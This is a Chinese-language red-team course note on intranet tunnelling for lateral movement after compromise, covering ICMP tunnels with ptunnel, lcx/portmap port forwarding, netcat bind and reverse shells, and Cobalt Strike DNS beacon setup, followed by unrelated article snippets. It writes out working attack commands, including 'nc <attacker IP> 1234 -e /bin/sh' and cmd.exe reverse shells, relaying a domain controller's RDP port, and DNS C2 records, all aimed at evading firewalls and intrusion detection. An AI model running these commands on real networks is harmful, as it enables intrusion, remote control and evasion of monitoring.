71 内网安全-域横向网络传输应用层隧道技术

news2024/11/22 9:21:05

目录

    • 必备知识点:
      • 1.代理和隧道技术区别?
      • 2.隧道技术为了解决什么?
      • 3.隧道技术前期的必备条件?
    • 演示案例:
      • 网络传输应用层检测连通性-检测
      • 网络层ICMP隧道Ptunnel使用-检测利用
      • 传输层转发隧道Portmap使用-检测,利用
      • 传输层转发隧道Netcat使用-检测,利用,功能
      • 应用层DNS隧道配合CS上线-检测,利用,说明
    • 涉及资源

在这里插入图片描述

必备知识点:

1.代理和隧道技术区别?

代理只是为了解决网络的访问问题,在代理之上多了个过滤的绕过,就是隧道

2.隧道技术为了解决什么?

防火墙对流量进行监控,有些协议他是放行的,这个时候可以伪装成放行协议来进行绕过,就是同样的东西以协议转换实现绕过,隧道主要是做这个用的,可以理解为单独的通道来传输之前被拦截的东西

CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等,这些问题出现之后,就必须用到隧道技术

隧道技术通常在我们的真实红蓝对抗比赛中,蓝队会部署入侵检测系统、流量监控的东西,如果它设置上面设置了一些东西之后,可能拖一些东西的时候就会被检测到,这个时候出口数据就会向外部发,那么这个东西一旦被监控到,就会被拦截

3.隧道技术前期的必备条件?

在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截

我们已经获得控制权,但是你不能对控制的东西进行一些信息收集,或者用它上面的东西来执行

我们通过shiro反序列化漏洞,拿到了一个权限,但是那个漏洞上面有ids,它上不了线,就是它把后门用反序列化代码执行了,上不了线,就是服务端无法被控制,这个时候就属于隧道技术的应用场景
你已经取得了一些权限,但是权限不能完整的去展示给你,我们大部分会把它执行到CS和MSF上线,因为这样子就便于你去管理这台服务器或者操作
单纯的漏洞,我们要把它转换成最好理解的UI界面,控制端的程序去控制这台服务器
我们已经获得权限,但是这个权限在转接给你,你在控制的时候,有很多的不方便,但是你又想得到这个东西,或者说更方便的去操作,就会出现隧道技术帮你解决这个问题,所以它不是一种攻击方式,它只是获取到权限之后,为了更方便的去控制和传输,绕过一些防火墙的拦截,操作不会出现异常,监控各种各样的问题,它是为了解决这个事情产生的,它和代理有不一样的地方,代理只是为了解决网络的通讯问题,而他在是在它的基础上又多了一些东西

在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢? 这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
常用的隧道技术有以下三种:
网络层: IPv6 隧道、ICMP 隧道
传输层: TCP 隧道、UDP 隧道、常规端口转发
应用层: SSH 隧道、HTTP/S 隧道、DNS 隧道

我们会从这三个层面抽一个去讲,就是隧道协议在通讯层的第几层

演示案例:

网络传输应用层检测连通性-检测

1.TCP 协议
用"瑞士军刀"–netcat
执行 nc 命令: nc <端口>
2.HTTP 协议
用"curl"工具,执行curl <IP地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息
3.ICMP 协议
用"ping"命令,执行ping <IP地址/域名>
4.DNS 协议
检测DNS连通性常用的命令是"nslookup"和"dig"
nslookup 是windows自带的DNS探测命令
dig是linux系统自带的DNS探测命令

探测它的协议是否支持,能不能正常的通讯
看它的命令是不是有正常数据的回连,或者说是否支持这个协议的传输,这个协议能够向外部发送数据,向内部的探针,这个协议是正常的,那么你才能用这个隧道,所以在用隧道之前,要去探针一下对应隧道的协议是否是支持的,如果不支持你用这个隧道是没有任何意义的
有些协议测试用命令执行不行,要用工具去测试

网络层ICMP隧道Ptunnel使用-检测利用

kali2020-Target2-Target3
pingtunnel是把tcp/udp/sock5流量伪装成icmp流量进行转发的工具
-p ##表示连接icmp隧道另一端的机器IP (即目标服务器)
-lp ##表示需要监听的本地tcp端口
-da ##指定需要转发的机器的IP (即目标内网某一机器的内网IP)
-dp ##指定需要转发的机器的端口 (即目标内网某一机器的内网端口)
-x ##设置连接的密码

Webserver: ./ptunnel -x xiaodi
Hacker xiaodi: ./ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi #转发的3389请求数据给本地1080
Hacker xiaodi: rdesktop 127.0.0.1 1080

老版本介绍: https://github.com/flvefour/ptunnel (需自行编译)
新版本介绍: https://github.com/esrrhs/pingtunnel (二次开发版)

在这里插入图片描述
通过web主机,实现对dc的控制,现在DC上面有防护的策略,这个时候我们先用前期的ICMP策略是否支持,然后再去测试它
在这里插入图片描述
这个时候是支持ICMP协议的,我们用相关的命令去探针隧道可不可行,就是要看它数据能不能正常通讯
这个时候,我们就可以利用隧道来实现操作,用我的计算机去连接DC,已知我得到DC上面的账号密码,我希望我通过我的计算机连接到DC,很明显,我的计算机无法连接到DC的,因为不是一个网段
ptunnel是老牌的工具,我是不推荐大家使用的,大家可以去用新版本pingtunnel,pingtunnel所有的操作都是支持的,而且功能相对老版本要好一些
操作之前,我们先要判断一下隧道可不可行
因为tcp/udp/sock5协议受到了防火墙和这个工具的拦截,所以这个工具就是解决拦截的协议,把流量封装成icmp协议上面,然后进行数据的一个传输
就是webserver自己构建一个隧道,然后密码是xiaodi,等待别人连接
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

假如我们自己去连接它3389,走的就是3389自带的协议,但是我用pingtunnel工具实现了一个目的,它操作的流量其实走的是ICMP的一个接口
登录进去和你之前使用远程3389去连接它是一摸一样的,只是说你现在走的流量数据不在是以前这个协议走的流量数据,它走的流量数据变成了icmp的流量数据
在这里插入图片描述
我是在做连通性的问题,但是大家更需要理解的是这个操作不一定是连通性问题,还有一个问题,我采用的是icmp隧道协议,来实现连接它的3389,就原有的3389调用窗口去连接的话,比正常时间连接,它走的数据和icmp是两码事,它可能就是tcp数据

传输层转发隧道Portmap使用-检测,利用

windows: lcx
linux: portmap
lcx -slave 攻击IP 3131 127.0.0.1 3389 //将本地3389给攻击IP的3131
lcx -listen 3131 3333        //监听3131转发至3333

在这里插入图片描述
在这里插入图片描述
假设我现在取得DC的权限了,通过会话把lcx转换一下,把端口上的数据给到3.31的6666端口,然后把自己本地的3389端口给出去,这条命令的意思是将本地的3389数据给到3.21的6666端口,然后执行
在这里插入图片描述
到webserver上监听本地的6666端口,转发至7777
在这里插入图片描述
通过kali去连接webserver的7777
在这里插入图片描述
现在我登录的就是域控的服务器
在这里插入图片描述
这个操作属于隧道技术里面的第二层传输层,端口转发的隧道里面

传输层转发隧道Netcat使用-检测,利用,功能

Kali2020-god\webserver-god\sqlserverldc
1.双向连接反弹shell
正向:攻击连接受害
受害: nc -ldp 1234 -e /bin/sh //linux
nc -ldp 1234 -e c: windows system32\cmd.exe //windows
攻击: nc 192.168.76.132 1234 //主动连接
反向:受害连接攻击
攻击: nc -lvp 1234
受害: nc 攻击主机IP 1234 -e /bin/sh
nc 攻击主机IP 1234 -e c:\windows\system32\cmd.exe
2.多向连接反弹shell-配合转发
反向:

god\Webserver: Lcx.exe -listen 2222 3333
god\sqlserver: nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe
kali或本机: nc -v 192.168.76.143 3333

正向该怎么操作呢? 实战中改怎么选择正向和反向?

3.相关netcat主要功能测试

指纹服务: nc -nv 192.168.76.143
端口扫描: nc -v -z 192.168.76.143 1-100
端口监听: nc -lvp xxxx
文件传输: nc -lp 1111 >1.txt | nc -vn xx.xx.x.x 1111 <1.txt -q 1
反弹shell:见上

nc可以和我们的攻击实时挂钩,nc最新版有-e参数,旧版没有这个参数,很多都会受限,它被称为瑞士军刀就是因为在利用的时候非常方便
我们反弹会话、反弹命令或者说操作连接,是有很多方式的,不是说单纯的CS控制端,在上面执行命令,就是有很多方法去帮助你实现控制,而且可以利用多种协议去实现,因为在实战情况下,我们会有很多协议会被封堵拦截,所以我们要掌握很多种控制协议,那样子在实战中就不会掉链子
攻击机主动连接受害者,然后受害主机就把数据给到自己的1234,然后攻击机去连接它
攻击主机监听自己的1234,然后受害主机就主动的把数据发给攻击机
根据网络情况选择是用正向还是反向,比如受害主机能够找到你,你就用反向,受害主机找不到你,你就用正向

在webserver上监听自己的2222端口给到自己的3333端口
在这里插入图片描述

主动把自己的cmd给到3.31的2222端口
在这里插入图片描述

kali连接webserver上的另外一个接口,76网段3333,直接反弹个cmd出来
在这里插入图片描述
这就是个典型的端口反弹计划
在这里插入图片描述
nc走的是tcp协议,也就是说对方没有过滤这个TCP协议的话,这个时候可以用nc实现与控制主机的通讯,来实现控制,但是利用nc工具也只能反弹个cmd,并不能看到图形化的界面,也不能对它的东西进行操作,到时候还是要利用一些木马来实现控制,配合进行操作
nc是在linux和windows上通用的工具,它还可以进行指纹服务、端口扫描、端口监听、文件传输、反弹shell

nc具体参数的含义你可以去网上看一下具体的含义,nc是一款非常好用的内网工具,配合lcx端口转发能实现很多操作

应用层DNS隧道配合CS上线-检测,利用,说明

当常见协议监听器被拦截时,可以换其他协议上线,其中dns协议上线基本通杀
1.云主机Teamserver配置端门53启用-udp
2.买一个域名修改解析记录如下:
A记录->cs主机名->CS服务器IP
NS记录->ns1主机名->上个A记录地址
NS记录->ns2主机名->上个A记录地址
3.配置DNS监听器内容如下:
ns1.xiaodi8.com
ns2.xiaodi8.com
cs.xiaodi8.com
4生成后门执行上线后启用命令

beacon> checkin[*]
Tasked beacon to checkin
beacon> mode dns-txt
[+] data channel set to DNS-TXT
[+] host called home, sent: 8 bytes
beacon> shell whoami
[*] Tasked beacon to run: whoami
[+] host called home, sent: 53 bytes
[+] received output:

应用层是在实战中经常会遇到的问题,之前两个层面可能会经常被防火墙拦截,网络层、传输层
在这里插入图片描述
监听器就是管道、隧道的意思,它这个木马在实现控制的时候,我们常见的就是用http生成,假设说http协议,对方是流量监控的,就是说防火墙上面有检测HTTP的,数据在HTTP协议上面传输数据的时候,它会被监控,假设说你现在用beacon http生成的后门,然后上线,那肯定会有问题,因为它已经封堵HTTP了,你流量数据还是采用它进行传递,那么你生成的后门还是绑定HTTP协议,这个时候肯定有问题
有时候我们用CS生成后门,上不了线的原因,其中就有这个情况,我们生成后门不是要绑定监听器,我们用监听器绑定HTTP协议的,那么它就相当于走的是HTTP协议的,那么生成的后门就是走这个协议
在这里插入图片描述
防火墙会选择性拦截的,它如果拦截HTTP的话,那你就走其它协议,直接上线
常规都是使用HTTP,因为你用DNS你会发现它比HTTP速度要慢,没有HTTP好使,因为好使的话,它在你创建监听器的话,它就不会默认给到你HTTP,因为HTTP速度最快,最好使,但是如果它被封堵了,那你就只能选择其它协议,同样的道理,如果DNS封堵,你就走HTTPS或者其它的协议,像这些都是官方自带的协议走法,你从网站下载CS的插件之后,你这边还可以多加几个协议出来
dns为域名解析用的,通过域名还原成IP,这种协议一般不会被防火墙或者其它东西拦截,因为它这个是很正常的功能,只是说这上面会走些数据,dns协议能很好处理那些不能上线的情况,就相当于数据通过DNS协议把数据给给出去,就不会受到防护软件的拦截
用阿里云的服务器老是有端口的拦截,你需要在安全组配置一下
修改域名解析记录
在这里插入图片描述
配置DNS监听器内容
在这里插入图片描述
这个时候就生成后门,选择DNS上线
在这里插入图片描述
上传到webserver执行
在这里插入图片描述
一定要注意dns上线就是这么个情况,DNS上线有个问题,就是速度特别慢,dns有个过程,就是它发送数据会有个发送和响应的过程,就好比你去ping一个网站域名,它会响应一个IP地址,它不是说是实时的,不是说传过去,它就回给你,它这个就相当于你发过去,对方在回你,而不是说你发过去就完了,于此同时你还要实现几条命令,才能实现控制
建立类似的通道
在这里插入图片描述
DNS上线,它的利用是建立这种有防火墙的时候,就是这个主机在防火墙里面,它可以通过控制主机
这个大概要等个10s、20s,它主要是看主机和DNS服务器通讯的速度问题
在这里插入图片描述
速度太慢了,它好处很多,坏处也很多,电脑主机上面有闪电,表示说他上面是有些防护的
在这里插入图片描述
隧道的意义是,你打之前,你对它进行测试的时候,你采用的测试方法和协议不一样,那个协议在测试的过程中有可能被拦截的,那么被拦截的话,就需要换一种方法去测试它
比如说它上面有个网站,它的网站是HTTP协议,假如说你知道这个网站有漏洞,但是你攻击不了它,因为你访问它老断断续续,突然间崩了或者怎么样,直接访问不到,原因就是很简单,要么对方禁止你的IP访问,或者说检测到你访问有异常,那这个时候你直接用工具去扫描,去搞的话,你走的通通是我们常说的HTTP协议,所以我们可以把这个协议换成其它协议去封装,就是走其它协议来实现攻击,就是以前通讯走的协议,可以通过隧道之后,可以变换另外一种协议,就跟CS上线一个道理,之前你都是HTTP协议上线的,然后HTTP协议上线不了,你就可以换一种DNS协议,而且网上还有插件,插件里面还可以帮我们多加几个,我们在对抗中,经常用到CS,东西都是属于协议方面的东西,都是为解决通讯上面被拦截的情况
在这里插入图片描述
网上看的文章呀,一些乱七八糟的,都是我们今天讲的隧道里面要解决的问题,隧道技术其实就是我们不断变换协议,走不同协议实现数据通讯,今天讲的只是隧道技术里面抽了一个出来讲

我们今天做的实验只是告诉你,它的这个形式,不是说一定要你掌握工具的使用,当然掌握也是很有必要的,因为我们后面也会经常用到这些工具,但是你更要明白你学了这些实验之后,你明白的道理,这些实验在干吗,它为解决什么事情,这一点是最需要明白的,就是它的利用场景

涉及资源

https://github.com/f1vefour/ptunnel
https://github.com/esrrhs/pingtunne
https://github.com/MrAnonymous-1/Icx
https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw 提取码: xiao

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1185398.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

浮点数保留指定位数的小数,小数位自动去掉多余的0

通过DecimalFormat.format可以按照指定的格式格式化数据。 public class test { public static void main(String[] args) { DecimalFormat dnew DecimalFormat(“#.#”);//在有小数的情况下留一位小数&#xff0c;默认是四舍五入 BigDecimal decimalnew BigDecimal(“3.14159…

SQL入门语句

MySQL和SQL的区别是什么&#xff1f;之间是什么关系&#xff1f; SQL&#xff08;Structured Query Language&#xff09;是用于管理和操作关系型数据库&#xff08;RDBMS&#xff09;的标准语言。SQL还可以用于这些RDBMS&#xff1a;MySQL、Oracle、Microsoft SQL Server、Pos…

React进阶之路(二)-- 组件通信、组件进阶

文章目录 组件通信组件通信的意义父传子实现props说明子传父实现兄弟组件通信跨组件通信Context通信案例 React组件进阶children属性props校验组件生命周期 组件通信 组件通信的意义 组件是独立且封闭的单元&#xff0c;默认情况下组件只能使用自己的数据&#xff08;state&a…

0成本LLM微调上手项目,⚡️一步一步使用colab训练法律LLM,基于microsoft/phi-1_5,包含lora微调,全参微调

项目地址 &#xff1a;https://github.com/billvsme/train_law_llm ✏️LLM微调上手项目 一步一步使用Colab训练法律LLM&#xff0c;基于microsoft/phi-1_5 。通过本项目你可以0成本手动了解微调LLM。 nameColabDatasets自我认知lora-SFT微调train_self_cognition.ipynbsel…

P1131 [ZJOI2007] 时态同步

Portal. 先找出树上以 S S S 为起点最长的一条链&#xff0c;然后让其他链的长度都和该链对齐即可。 维护每个结点 x x x 的子树最长链 d max ⁡ ( x ) d_{\max}(x) dmax​(x)&#xff0c;则每次 DFS 求出最长链之后调整对齐的代价为 d max ⁡ ( x ) − ( d max ⁡ ( s o …

Java算法(二):数组元素求和(元素个位和十位不能是 7 ,且只能是偶数)

java算法&#xff08;二&#xff09; 需求&#xff1a; ​ 有这样一个数组&#xff1a; 元素是&#xff1a;{68, 27, 95, 88, 171, 996, 51, 210} ​ 求出该数组中满足要求的元素和 ​ 要求是&#xff1a; 求和的元素各位和十位都不能是 7 &#xff0c;并且只能是偶数 packa…

机器学习中的假设检验

正态性检验相关分析回归分析 所谓假设检验&#xff0c;其实就是根据原假设来构造一种已知分布的统计量来计算概率&#xff0c;根据概率值大小来判断能否拒绝原假设&#xff0c;从而得到一种结论。假设检验的过程就是&#xff0c;构造一个原假设成立条件下的事件A&#xff0c;计…

如何实现单病种上报的多院区/集团化/平台联动管理

背 景 米软售前人员在了解客户单病种上报的相关需求中发现&#xff0c;部分医院分为本部、分部或总院、分院等多个院区&#xff0c;各院区需共用一套系统&#xff1b;部分医院与其他兄弟医院隶属于同一集团医院&#xff0c;全集团需统一部署&#xff1b;部分市/区卫健委要求全…

【Node.js入门】1.3 开始开发Node.js应用程序

1.3 开始开发Node.js应用程序 学习目标 &#xff08;1&#xff09;熟悉开发工具Visual Studio Code的基本使用&#xff1b; &#xff08;2&#xff09;掌握Node.js应用程序的编写、运行和调试的基本方法。 构建第一个 Node.js应用程序 代码 const http require("htt…

RabbitMQ 消息中间件 消息队列

RabbitMQ1、RabbitMQ简介2、RabbitMQ 特点3、什么是消息队列4、RabbiMQ模式5、集群中的基本概念 单实例安装RabbitMQ安装依赖安装erlang安装rabbitmq开启rabbitmq的web访问界面添加用户修改配置文件重启服务浏览器访问Rabbit-test rabbitMQ集群准备工作&#xff08;三台&#x…

AM@向量代数@向量基本概念和向量线性运算

文章目录 abstract向量的基本概念向量向量的坐标分解式和坐标&#x1f47a;向量的模向量的长度(大小)&#x1f47a;零向量单位向量&#x1f47a;方向向量非零向量的单位向量正规化向量夹角&#x1f47a; 向量方向角和向量间夹角投影几何描述向量的线性运算向量的加减运算向量的…

【STM32 开发】| INA219采集电压、电流值

目录 前言1 原理图2 IIC地址说明3 寄存器地址说明4 开始工作前配置5 程序代码1&#xff09;驱动程序2&#xff09;头文件3) 测试代码 前言 INA219 是一款具备 I2C 或 SMBUS 兼容接口的分流器和功率监测计。该器件监测分流器电压降和总线电源电压&#xff0c;转换次数和滤波选项…

jmeter+ant实现的接口自动化测试

jmeterANT接口自动化测试框架 项目说明 本框架是一套基于jmeterAntExcelPython而设计的数据驱动接口自动化测试框架&#xff0c;jmeter 作为执行器&#xff0c;Ant 作为构建工具&#xff0c;进行构建测试&#xff0c;本框架无需你使用代码编写用例&#xff0c;测试用例存储在…

基于CSP的运动想象EEG分类任务实战

基于运动想象的公开数据集&#xff1a;Data set IVa (BCI Competition III)1 数据描述参考前文&#xff1a;https://blog.csdn.net/qq_43811536/article/details/134224005?spm1001.2014.3001.5501 EEG 信号时频空域分析参考前文&#xff1a;https://blog.csdn.net/qq_4381153…

算法竞赛——数论(一),数论内容的介绍,基础数论

文章目录 一&#xff0c; 数论学习路线的介绍和相关建议1&#xff0c;建议学习人群 &#xff1a;2&#xff0c;建议学习时长3&#xff0c;学习路线的介绍1&#xff0c;基础数论2&#xff0c;组合数学3&#xff0c;计算几何 二&#xff0c;基础数论第一部分 —— 快速幂和快速幂…

2023年十大最佳 iPhone 恢复软件

您的 iPhone 存储了大量有价值的数据&#xff0c;包括照片和视频。但是&#xff0c;即使使用高度安全的 Apple 设备&#xff0c;数据丢失也可能随时发生。从众多可用工具中选择最适合 iPhone 的数据恢复软件可能是一项艰巨的任务。因此&#xff0c;我们测试了性能并审查了 2023…

使用Hypothesis生成测试数据

&#x1f4e2;专注于分享软件测试干货内容&#xff0c;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; 如有错误敬请指正&#xff01;&#x1f4e2;交流讨论&#xff1a;欢迎加入我们一起学习&#xff01;&#x1f4e2;资源分享&#xff1a;耗时200小时精选的「软件测试」资…

[vue-router]vue3.x Hash路由前缀问题

[vue-router]vue3.x Hash路由前缀问题 问题描述问题分析 问题描述 是在本地开发时&#xff0c;使用的HASH路由&#xff0c;然后在偶然的情况下在/#/前添加了前缀&#xff0c;发现不影响本地的路由的使用&#xff1f;&#xff1f;&#xff1f;&#xff01;&#xff01;&#xf…

rviz中引入SW的模型

一、SW装配图转urdf 参考链接&#xff1a;https://blog.csdn.net/weixin_45168199/article/details/105755388 这部分直接看参考链接就可以&#xff0c;主要思路如下 1、把sw中的零散零件按照机器人中连杆的分类整合成几个大零件 2、把几个大零件整合成装配体&#xff0c;并…

如何在Jetpack Compose中显示PDF?

当读取和显示 PDF 的组件缺失时该怎么办? 声明式编程可以拯救你. Jetpack Compose已经存在好几年了, 但_在某些方面它的使用仍然面临挑战_. 例如, 缺少用于查看PDF的官方组件, 而为数不多的第三方库通常也是有代价的. 在我们的应用中, 我们会遇到在许多场景中显示 PDF 的需求…